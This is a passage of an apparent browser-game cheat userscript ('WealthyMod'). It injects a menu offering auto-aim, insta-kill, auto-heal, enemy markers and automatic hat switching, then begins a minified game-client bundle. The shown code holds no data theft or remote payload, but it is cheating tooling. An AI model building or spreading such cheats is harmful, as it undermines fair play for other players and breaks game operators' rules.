1880 font-family: Verdana,sans-serif;
1881 box-sizing: border-box;
1882 float: left;
1883 background-color: inherit;
1884 padding: 8px 8px;
1885 margin: 0;
1886 border: none;
1887 font-size: 14px;
1888 text-align: center;
1889 outline: 0;
1890 transition: .3s;
1891 width: 100%;
1892 }
1893
1894 #mm-help-menu-item {
1895 user-select: none;
1896 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1897 color: #fff;
1898 font-family: Verdana,sans-serif;
1899 box-sizing: border-box;
1900 float: left;
1901 background-color: inherit;
1902 padding: 8px 8px;
1903 margin: 0;
1904 border: none;
1905 font-size: 14px;
1906 text-align: center;
1907 outline: 0;
1908 transition: .3s;
1909 position: absolute;
1910 right: 0;
1911 width: 100%;
1912 bottom: 0;
1913 left: 0;
1914 }
1915
1916 .is-active {
1917 background-color: rgb(129, 34, 34) !important;
1918 }
1919
1920
1921 .i-close {
1922 font-size: 12px;
1923 user-select: none;
1924 color: #fff;
1925 font-family: Verdana,sans-serif;
1926 box-sizing: border-box;
1927 position: absolute;
1928 top: 0;
1929 right: 0;
1930 width: 25px;
1931 height: 25px;
1932 margin: 0;
1933 border-bottom-left-radius: 5px;
1934 overflow: hidden;
1935 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1936 }
1937`;
1938
1939menu.innerHTML = `
1940 <div class="i-tab-container">
1941 <div class="i-tab-menu sidebar">
1942 <a href="https://youtube.com/WealthyMod/"><h2 class="i-tab-menu-item">WealthyMod</h2></a>
1943 <button id="mm-main-menu-item" class="i-tab-menu-item is-active">Main</button>
1944 <button id="mm-offense-menu-item" class="i-tab-menu-item">Offense</button>
1945 <button id="mm-defense-menu-item" class="i-tab-menu-item">Defense</button>
1946 <button id="mm-support-menu-item" class="i-tab-menu-item">Support</button>
1947 <button id="mm-map-menu-item" class="i-tab-menu-item">Map</button>
1948 <button id="mm-controls-menu-item" class="i-tab-menu-item">Hats</button>
1949 <button id="mm-help-menu-item" class="i-tab-menu-item i-last">Help</button>
1950 </div>
1951 <div id="mm-main-menu" class="i-tab-content">
1952 <h3>Main</h3>
1953 <label class="i-checkbox-label"><input id="mm-autoHeal" type="checkbox" class="i-checkbox">Auto Heal</label>
1954 <label class="i-checkbox-label"><input id="mm-autoAim" type="checkbox" class="i-checkbox">Auto Aim</label>
1955 <label class="i-checkbox-label"><input id="mm-instaKill" type="checkbox" class="i-checkbox">Insta-Kill</label>
1956 <label class="i-checkbox-label"><input id="mm-drawPlayerArrows" type="checkbox" class="i-checkbox">Draw Player Arrows</label>
1957 <label class="i-checkbox-label"><input id="mm-blockAds" type="checkbox" class="i-checkbox">Block Ads</label>
1958 <label>Auto Chat: <input id="mm-autoChatMessage" type="text" minlength="0" maxlength="30" style="width: 250px;" placeholder="Auto Text" class="i-checkbox"></label>
1959 <fieldset>
1960 <legend>Hats/Accessories</legend>
1961 <label class="i-checkbox-label"><input id="mm-useOffensiveGear" type="checkbox" class="i-checkbox">Offensive Gear</label>
1962 <label class="i-checkbox-label"><input id="mm-useDefensiveGear" type="checkbox" class="i-checkbox">Defensive Gear</label>
1963 <label class="i-checkbox-label"><input id="mm-useSupportGear" type="checkbox" class="i-checkbox">Support Gear</label>
1964 </fieldset>
1965 <div class="i-palomita">Made - by <a href="http://youtube.com/">Wealhy</a></div>
1966 </div>
1967 <div id="mm-offense-menu" class="i-tab-content" style="display: none;">
1968 <h3>Offense</h3>
1969 <fieldset>
1970 <legend>Default</legend>
1971 <label class="i-select-label">Hat: <select class="mm-hat-selector" id="mm-offenseHatDefault"><option value="-1" selected="">None</option><option value="45">Shame!</option><option value="51">Moo Cap</option><option value="50">Apple Cap</option><option value="28">Moo Head</option><option value="29">Pig Head</option><option value="30">Fluff Head</option><option value="36">Pandou Head</option><option value="37">Bear Head</option><option value="38">Monkey Head</option><option value="44">Polar Head</option><option value="35">Fez Hat</option><option value="42">Enigma Hat</option><option value="43">Blitz Hat</option><option value="49">Bob XIII Hat</option><option value="8">Bummle Hat</option><option value="2">Straw Hat</option><option value="15">Winter Cap</option><option value="5">Cowboy Hat</option><option value="4">Ranger Hat</option><option value="18">Explorer Hat</option><option value="31">Flipper Hat</option><option value="1">Marksman Cap</option><option value="10">Bush Gear</option><option value="48">Halo</option><option value="6">Soldier Helmet</option><option value="23">Anti Venom Gear</option><option value="13">Medic Gear</option><option value="9">Miners Helmet</option><option value="32">Musketeer Hat</option><option value="7">Bull Helmet</option><option value="22">Emp Helmet</option><option value="12">Booster Hat</option><option value="26">Barbarian Armor</option><option value="21">Plague Mask</option><option value="46">Bull Mask</option><option value="14">Windmill Hat</option><option value="11">Spike Gear</option><option value="53">Turret Gear</option><option value="20">Samurai Armor</option><option value="16">Bushido Armor</option><option value="27">Scavenger Gear</option><option value="40">Tank Gear</option><option value="52">Thief Gear</option></select></label>
1972 <label class="i-select-label">Accessory: <select class="mm-acc-selector" id="mm-offenseAccDefault"><option value="-1" selected="">None</option><option value="12">Snowball</option><option value="9">Tree Cape</option><option value="10">Stone Cape</option><option value="3">Cookie Cape</option><option value="8">Cow Cape</option><option value="11">Monkey Tail</option><option value="17">Apple Basket</option><option value="6">Winter Cape</option><option value="4">Skull Cape</option><option value="5">Dash Cape</option><option value="2">Dragon Cape</option><option value="1">Super Cape</option><option value="7">Troll Cape</option><option value="14">Thorns</option><option value="15">Blockades</option><option value="20">Devils Tail</option><option value="16">Sawblade</option><option value="13">Angel Wings</option><option value="19">Shadow Wings</option><option value="18">Blood Wings</option><option value="21">Corrupt X Wings</option></select></label>
1973 </fieldset>
1974 <fieldset>
1975 <legend>Bow</legend>
1976 <label class="i-select-label">Hat: <select class="mm-hat-selector" id="mm-offenseHatBow"><option value="-1" selected="">None</option><option value="45">Shame!</option><option value="51">Moo Cap</option><option value="50">Apple Cap</option><option value="28">Moo Head</option><option value="29">Pig Head</option><option value="30">Fluff Head</option><option value="36">Pandou Head</option><option value="37">Bear Head</option><option value="38">Monkey Head</option><option value="44">Polar Head</option><option value="35">Fez Hat</option><option value="42">Enigma Hat</option><option value="43">Blitz Hat</option><option value="49">Bob XIII Hat</option><option value="8">Bummle Hat</option><option value="2">Straw Hat</option><option value="15">Winter Cap</option><option value="5">Cowboy Hat</option><option value="4">Ranger Hat</option><option value="18">Explorer Hat</option><option value="31">Flipper Hat</option><option value="1">Marksman Cap</option><option value="10">Bush Gear</option><option value="48">Halo</option><option value="6">Soldier Helmet</option><option value="23">Anti Venom Gear</option><option value="13">Medic Gear</option><option value="9">Miners Helmet</option><option value="32">Musketeer Hat</option><option value="7">Bull Helmet</option><option value="22">Emp Helmet</option><option value="12">Booster Hat</option><option value="26">Barbarian Armor</option><option value="21">Plague Mask</option><option value="46">Bull Mask</option><option value="14">Windmill Hat</option><option value="11">Spike Gear</option><option value="53">Turret Gear</option><option value="20">Samurai Armor</option><option value="16">Bushido Armor</option><option value="27">Scavenger Gear</option><option value="40">Tank Gear</option><option value="52">Thief Gear</option></select></label>
1977 <label class="i-select-label">Accessory: <select class="mm-acc-selector" id="mm-offenseAccBow"><option value="-1" selected="">None</option><option value="12">Snowball</option><option value="9">Tree Cape</option><option value="10">Stone Cape</option><option value="3">Cookie Cape</option><option value="8">Cow Cape</option><option value="11">Monkey Tail</option><option value="17">Apple Basket</option><option value="6">Winter Cape</option><option value="4">Skull Cape</option><option value="5">Dash Cape</option><option value="2">Dragon Cape</option><option value="1">Super Cape</option><option value="7">Troll Cape</option><option value="14">Thorns</option><option value="15">Blockades</option><option value="20">Devils Tail</option><option value="16">Sawblade</option><option value="13">Angel Wings</option><option value="19">Shadow Wings</option><option value="18">Blood Wings</option><option value="21">Corrupt X Wings</option></select></label>
1978 </fieldset>
1979 <fieldset>
1980 <legend>Hammer</legend>
1981 <label class="i-select-label">Hat: <select class="mm-hat-selector" id="mm-offenseHatHammer"><option value="-1" selected="">None</option><option value="45">Shame!</option><option value="51">Moo Cap</option><option value="50">Apple Cap</option><option value="28">Moo Head</option><option value="29">Pig Head</option><option value="30">Fluff Head</option><option value="36">Pandou Head</option><option value="37">Bear Head</option><option value="38">Monkey Head</option><option value="44">Polar Head</option><option value="35">Fez Hat</option><option value="42">Enigma Hat</option><option value="43">Blitz Hat</option><option value="49">Bob XIII Hat</option><option value="8">Bummle Hat</option><option value="2">Straw Hat</option><option value="15">Winter Cap</option><option value="5">Cowboy Hat</option><option value="4">Ranger Hat</option><option value="18">Explorer Hat</option><option value="31">Flipper Hat</option><option value="1">Marksman Cap</option><option value="10">Bush Gear</option><option value="48">Halo</option><option value="6">Soldier Helmet</option><option value="23">Anti Venom Gear</option><option value="13">Medic Gear</option><option value="9">Miners Helmet</option><option value="32">Musketeer Hat</option><option value="7">Bull Helmet</option><option value="22">Emp Helmet</option><option value="12">Booster Hat</option><option value="26">Barbarian Armor</option><option value="21">Plague Mask</option><option value="46">Bull Mask</option><option value="14">Windmill Hat</option><option value="11">Spike Gear</option><option value="53">Turret Gear</option><option value="20">Samurai Armor</option><option value="16">Bushido Armor</option><option value="27">Scavenger Gear</option><option value="40">Tank Gear</option><option value="52">Thief Gear</option></select></label>
1982 <label class="i-select-label">Accessory: <select class="mm-acc-selector" id="mm-offenseAccHammer"><option value="-1" selected="">None</option><option value="12">Snowball</option><option value="9">Tree Cape</option><option value="10">Stone Cape</option><option value="3">Cookie Cape</option><option value="8">Cow Cape</option><option value="11">Monkey Tail</option><option value="17">Apple Basket</option><option value="6">Winter Cape</option><option value="4">Skull Cape</option><option value="5">Dash Cape</option><option value="2">Dragon Cape</option><option value="1">Super Cape</option><option value="7">Troll Cape</option><option value="14">Thorns</option><option value="15">Blockades</option><option value="20">Devils Tail</option><option value="16">Sawblade</option><option value="13">Angel Wings</option><option value="19">Shadow Wings</option><option value="18">Blood Wings</option><option value="21">Corrupt X Wings</option></select></label>
1983 </fieldset>
1984 <div class="i-palomita">Made - by <a href="https://youtube.com/">Wealthy</a></div>
1985 </div>
1986 <div id="mm-defense-menu" class="i-tab-content" style="display: none;">
1987 <h3>Defense</h3>
1988 <fieldset>
1989 <legend>Default</legend>
1990 <label class="i-select-label">Hat: <select class="mm-hat-selector" id="mm-defenseHatDefault"><option value="-1" selected="">None</option><option value="45">Shame!</option><option value="51">Moo Cap</option><option value="50">Apple Cap</option><option value="28">Moo Head</option><option value="29">Pig Head</option><option value="30">Fluff Head</option><option value="36">Pandou Head</option><option value="37">Bear Head</option><option value="38">Monkey Head</option><option value="44">Polar Head</option><option value="35">Fez Hat</option><option value="42">Enigma Hat</option><option value="43">Blitz Hat</option><option value="49">Bob XIII Hat</option><option value="8">Bummle Hat</option><option value="2">Straw Hat</option><option value="15">Winter Cap</option><option value="5">Cowboy Hat</option><option value="4">Ranger Hat</option><option value="18">Explorer Hat</option><option value="31">Flipper Hat</option><option value="1">Marksman Cap</option><option value="10">Bush Gear</option><option value="48">Halo</option><option value="6">Soldier Helmet</option><option value="23">Anti Venom Gear</option><option value="13">Medic Gear</option><option value="9">Miners Helmet</option><option value="32">Musketeer Hat</option><option value="7">Bull Helmet</option><option value="22">Emp Helmet</option><option value="12">Booster Hat</option><option value="26">Barbarian Armor</option><option value="21">Plague Mask</option><option value="46">Bull Mask</option><option value="14">Windmill Hat</option><option value="11">Spike Gear</option><option value="53">Turret Gear</option><option value="20">Samurai Armor</option><option value="16">Bushido Armor</option><option value="27">Scavenger Gear</option><option value="40">Tank Gear</option><option value="52">Thief Gear</option></select></label>
1991 <label class="i-select-label">Accessory: <select class="mm-acc-selector" id="mm-defenseAccDefault"><option value="-1" selected="">None</option><option value="12">Snowball</option><option value="9">Tree Cape</option><option value="10">Stone Cape</option><option value="3">Cookie Cape</option><option value="8">Cow Cape</option><option value="11">Monkey Tail</option><option value="17">Apple Basket</option><option value="6">Winter Cape</option><option value="4">Skull Cape</option><option value="5">Dash Cape</option><option value="2">Dragon Cape</option><option value="1">Super Cape</option><option value="7">Troll Cape</option><option value="14">Thorns</option><option value="15">Blockades</option><option value="20">Devils Tail</option><option value="16">Sawblade</option><option value="13">Angel Wings</option><option value="19">Shadow Wings</option><option value="18">Blood Wings</option><option value="21">Corrupt X Wings</option></select></label>
1992 </fieldset>
1993 <div class="i-palomita">Made - by <a href="https://youtube.com/">Wealthy</a></div>
1994 </div>
1995 <div id="mm-support-menu" class="i-tab-content" style="display: none;">
1996 <h3>Support</h3>
1997 <label class="i-checkbox-label"><input id="mm-useFastestGear" type="checkbox" class="i-checkbox">Use fastest hat/accessory available</label>
1998 <label class="i-checkbox-label"><input id="mm-autoFlipperHat" type="checkbox" class="i-checkbox">Auto equip Flipper Hat</label>
1999 <fieldset id="mm-supportDefaults">
2000 <legend>Default</legend>
2001 <label class="i-select-label">Hat: <select class="mm-hat-selector" id="mm-supportHatDefault"><option value="-1" selected="">None</option><option value="45">Shame!</option><option value="51">Moo Cap</option><option value="50">Apple Cap</option><option value="28">Moo Head</option><option value="29">Pig Head</option><option value="30">Fluff Head</option><option value="36">Pandou Head</option><option value="37">Bear Head</option><option value="38">Monkey Head</option><option value="44">Polar Head</option><option value="35">Fez Hat</option><option value="42">Enigma Hat</option><option value="43">Blitz Hat</option><option value="49">Bob XIII Hat</option><option value="8">Bummle Hat</option><option value="2">Straw Hat</option><option value="15">Winter Cap</option><option value="5">Cowboy Hat</option><option value="4">Ranger Hat</option><option value="18">Explorer Hat</option><option value="31">Flipper Hat</option><option value="1">Marksman Cap</option><option value="10">Bush Gear</option><option value="48">Halo</option><option value="6">Soldier Helmet</option><option value="23">Anti Venom Gear</option><option value="13">Medic Gear</option><option value="9">Miners Helmet</option><option value="32">Musketeer Hat</option><option value="7">Bull Helmet</option><option value="22">Emp Helmet</option><option value="12">Booster Hat</option><option value="26">Barbarian Armor</option><option value="21">Plague Mask</option><option value="46">Bull Mask</option><option value="14">Windmill Hat</option><option value="11">Spike Gear</option><option value="53">Turret Gear</option><option value="20">Samurai Armor</option><option value="16">Bushido Armor</option><option value="27">Scavenger Gear</option><option value="40">Tank Gear</option><option value="52">Thief Gear</option></select></label>
2002 <label class="i-select-label">Accessory: <select class="mm-acc-selector" id="mm-supportAccDefault"><option value="-1" selected="">None</option><option value="12">Snowball</option><option value="9">Tree Cape</option><option value="10">Stone Cape</option><option value="3">Cookie Cape</option><option value="8">Cow Cape</option><option value="11">Monkey Tail</option><option value="17">Apple Basket</option><option value="6">Winter Cape</option><option value="4">Skull Cape</option><option value="5">Dash Cape</option><option value="2">Dragon Cape</option><option value="1">Super Cape</option><option value="7">Troll Cape</option><option value="14">Thorns</option><option value="15">Blockades</option><option value="20">Devils Tail</option><option value="16">Sawblade</option><option value="13">Angel Wings</option><option value="19">Shadow Wings</option><option value="18">Blood Wings</option><option value="21">Corrupt X Wings</option></select></label>
2003 </fieldset>
2004 <fieldset>
2005 <legend>Clicking</legend>
2006 <label class="i-select-label">Hat: <select class="mm-hat-selector" id="mm-supportHatClicking"><option value="-1" selected="">None</option><option value="45">Shame!</option><option value="51">Moo Cap</option><option value="50">Apple Cap</option><option value="28">Moo Head</option><option value="29">Pig Head</option><option value="30">Fluff Head</option><option value="36">Pandou Head</option><option value="37">Bear Head</option><option value="38">Monkey Head</option><option value="44">Polar Head</option><option value="35">Fez Hat</option><option value="42">Enigma Hat</option><option value="43">Blitz Hat</option><option value="49">Bob XIII Hat</option><option value="8">Bummle Hat</option><option value="2">Straw Hat</option><option value="15">Winter Cap</option><option value="5">Cowboy Hat</option><option value="4">Ranger Hat</option><option value="18">Explorer Hat</option><option value="31">Flipper Hat</option><option value="1">Marksman Cap</option><option value="10">Bush Gear</option><option value="48">Halo</option><option value="6">Soldier Helmet</option><option value="23">Anti Venom Gear</option><option value="13">Medic Gear</option><option value="9">Miners Helmet</option><option value="32">Musketeer Hat</option><option value="7">Bull Helmet</option><option value="22">Emp Helmet</option><option value="12">Booster Hat</option><option value="26">Barbarian Armor</option><option value="21">Plague Mask</option><option value="46">Bull Mask</option><option value="14">Windmill Hat</option><option value="11">Spike Gear</option><option value="53">Turret Gear</option><option value="20">Samurai Armor</option><option value="16">Bushido Armor</option><option value="27">Scavenger Gear</option><option value="40">Tank Gear</option><option value="52">Thief Gear</option></select></label>
2007 <label class="i-select-label">Accessory: <select class="mm-acc-selector" id="mm-supportAccClicking"><option value="-1" selected="">None</option><option value="12">Snowball</option><option value="9">Tree Cape</option><option value="10">Stone Cape</option><option value="3">Cookie Cape</option><option value="8">Cow Cape</option><option value="11">Monkey Tail</option><option value="17">Apple Basket</option><option value="6">Winter Cape</option><option value="4">Skull Cape</option><option value="5">Dash Cape</option><option value="2">Dragon Cape</option><option value="1">Super Cape</option><option value="7">Troll Cape</option><option value="14">Thorns</option><option value="15">Blockades</option><option value="20">Devils Tail</option><option value="16">Sawblade</option><option value="13">Angel Wings</option><option value="19">Shadow Wings</option><option value="18">Blood Wings</option><option value="21">Corrupt X Wings</option></select></label>
2008 </fieldset>
2009 <div class="i-palomita">Made - by <a href="https://youtube.com/">Wealthy</a></div>
2010 </div>
2011 <div id="mm-map-menu" class="i-tab-content" style="display: none;">
2012 <h3>Map</h3>
2013 <label class="i-checkbox-label"><input id="mm-showMapBackground" type="checkbox" class="i-checkbox">Use biome map</label>
2014 <label class="i-checkbox-label"><input id="mm-showPlayerMarkers" type="checkbox" class="i-checkbox">Show my markers</label>
2015 <label class="i-checkbox-label"><input id="mm-showEnemyMarkers" type="checkbox" class="i-checkbox">Show enemy markers</label>
2016 <label class="i-checkbox-label"><input id="mm-keepMarkersOnDeath" type="checkbox" class="i-checkbox">Keep markers on death</label>
2017 <div class="i-palomita">Made - by <a href="https://youtube.com/">Wealthy</a></div>
2018 </div>
2019 <div id="mm-controls-menu" class="i-tab-content" style="display: none;">
2020 <h3>Controls</h3>
2021 <label>Menu: <button id="mm-keybind-openMenu" class="i-button i-bold i-right i-inline i-keybind">ESCAPE</button></label>
2022 <br>
2023 <label class="i-checkbox-label"><input id="mm-betterControls" type="checkbox" class="i-checkbox">Custom Controls</label>
2024 <fieldset id="i-keybinds">
2025 <legend>Wealthy#</legend>
2026 </fieldset>
2027 </div>
2028 <div id="mm-help-menu" class="i-tab-content" style="display: none;">
2029 <h3>Help</h3>
2030 <p>The Basics: Hats and accessories have three priority levels: Offense, Defense, and Support. Offense is always preffered and Defense will equip before support. But when does each priority get activated?</p>
2031 <ul>
2032 <li><strong>Offense:</strong> Equips when you use a weapon (click) with an enemy in attacking range. (Bows might not work atm)</li>
2033 <li><strong>Defense:</strong> Equips when you are within range to attack another player but you are not currently attacking.</li>
2034 <li><strong>Support:</strong> Equips regularly when no enemy players are in range.</li>
2035 </ul>
2036 </div>
2037 <div id="i-keybind-listener-container">
2038 <div id="i-keybind-listener">
2039 <span id="i-keybind-listener-title"></span>
2040 <span id="i-keybind-listener-value" class="i-text-centered"></span>
2041 <span id="i-keybind-listener-instructions">Press any key...</span>
2042 <div class="i-center-contents">
2043 <button id="i-keybind-listener-save" class="i-button i-confirm">Save</button>
2044 <button id="i-keybind-listener-cancel" class="i-button i-cancel">Cancel</button>
2045 </div>
2046 </div>
2047 </div>
2048 </div>
2049 <div class="i-close"></div>`;
2050
2051button.classList.add("menuButton");
2052button.classList.add("open-menu-button");
2053button.textContent = "Menu";
2054
2055window.addEventListener("keydown", keydown);
2056button.addEventListener("click", toggleMenu);
2057
2058card.appendChild(button);
2059document.body.appendChild(styles);
2060document.body.appendChild(menu);
2061
2062function keydown(e) {
2063 if (e.key === "F3") {
2064 e.preventDefault();
2065 toggleMenu();
2066 }
2067}
2068
2069document.querySelectorAll(".i-tab-menu-item").forEach(elem => {
2070 elem.addEventListener("click", click);
2071});
2072
2073function click(e) {
2074 const { target } = e;
2075
2076 hideall();
2077
2078 for (const c of [
2079 "main",
2080 "offense",
2081 "defense",
2082 "support",
2083 "map",
2084 "controls",
2085 "help"
2086 ]) {
2087 if (target.textContent.toLowerCase() == c)
2088 document.querySelector(`#mm-${c}-menu`).style.display = "block";
2089 target.classList.add("is-active");
2090 }
2091}
2092
2093function hideall() {
2094 for (const c of [
2095 "#mm-main-menu",
2096 "#mm-offense-menu",
2097 "#mm-defense-menu",
2098 "#mm-support-menu",
2099 "#mm-map-menu",
2100 "#mm-controls-menu",
2101 "#mm-help-menu"
2102 ]) {
2103 document.querySelector(c).style.display = "none";
2104
2105 document.querySelectorAll(".i-tab-menu-item").forEach(item => item.classList.remove("is-active"));
2106 }
2107}
2108$('#mm-controls-menu').css({
2109 '-webkit-overflow-scrolling': 'touch'
2110});
2111
2112function toggleMenu() {
2113 menu.style.display = menu.style.display == "block" ? "none" : "block";
2114}
2115toggleMenu()
2116toggleMenu()
2117
2118
2119
2120
2121window.onbeforeunload = null;
2122
2123var EnemyTracer = "#ff0000"
2124var KillerTracer = "#ff111"
2125var LeaderTracer = "#ff222"
2126
2127! function (e) {
2128 var t = {};
2129
2130 function n(i) {
2131 if (t[i]) return t[i].exports;
2132 var r = t[i] = {
2133 i: i,
2134 l: !1,
2135 exports: {}
2136 };
2137 return e[i].call(r.exports, r, r.exports, n), r.l = !0, r.exports
2138 }
2139 n.m = e, n.c = t, n.d = function (e, t, i) {
2140 n.o(e, t) || Object.defineProperty(e, t, {
2141 enumerable: !0,
2142 get: i
2143 })
2144 }, n.r = function (e) {
2145 "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
2146 value: "Module"
2147 }), Object.defineProperty(e, "__esModule", {
2148 value: !0
2149 })
2150 }, n.t = function (e, t) {
2151 if (1 & t && (e = n(e)), 8 & t) return e;
2152 if (4 & t && "object" == typeof e && e && e.__esModule) return e;
2153 var i = Object.create(null);
2154 if (n.r(i), Object.defineProperty(i, "default", {
2155 enumerable: !0,
2156 value: e
2157 }), 2 & t && "string" != typeof e)
2158 for (var r in e) n.d(i, r, function (t) {
2159 return e[t]
2160 }.bind(null, r));
2161 return i
2162 }, n.n = function (e) {
2163 var t = e && e.__esModule ? function () {
2164 return e.default
2165 } : function () {
2166 return e
2167 };
2168 return n.d(t, "a", t), t
2169 }, n.o = function (e, t) {
2170 return Object.prototype.hasOwnProperty.call(e, t)
2171 }, n.p = "", n(n.s = 21)
2172}([function (e, t, n) {
2173 var i = t.global = n(25),
